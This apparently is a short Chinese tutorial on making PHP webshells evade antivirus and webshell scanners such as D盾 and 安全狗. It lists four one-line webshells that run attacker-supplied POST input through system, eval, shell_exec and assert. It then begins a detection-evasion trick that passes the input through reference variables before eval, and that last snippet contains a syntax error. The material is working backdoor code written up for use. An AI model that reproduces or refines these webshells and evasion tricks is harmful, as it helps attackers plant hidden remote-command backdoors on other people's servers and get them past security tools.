php webshell免杀

终于也是来到了激动人心的时刻——免杀，这集先是简单的一句话木马的免杀

首先是经典的一句话木马：

<?php system($_POST['xxx']); ?>
<?php eval($_POST['xxx']); ?>
<?php echo shell_exec($_POST['xxx']); ?>
<?php assert($_POST['xxx']); ?>

然而这样朴实无华的直接上传肯定是会被杀软拦截，所以就用到了免杀的技巧

本次用来测试的环境有D盾，安全狗，河马webshell在线查杀（SHELLPUB.COM在线查杀）

首先用我自己的几个普通的一句话木马进行环境测试

发现直接就能测出来，那么接下来就是免杀的测试

传参

首先简单尝试一下多传几次参

<?php
$a=$_POST['xxx'];
$b=&$a;
$c=&$b:
eval($c);
?>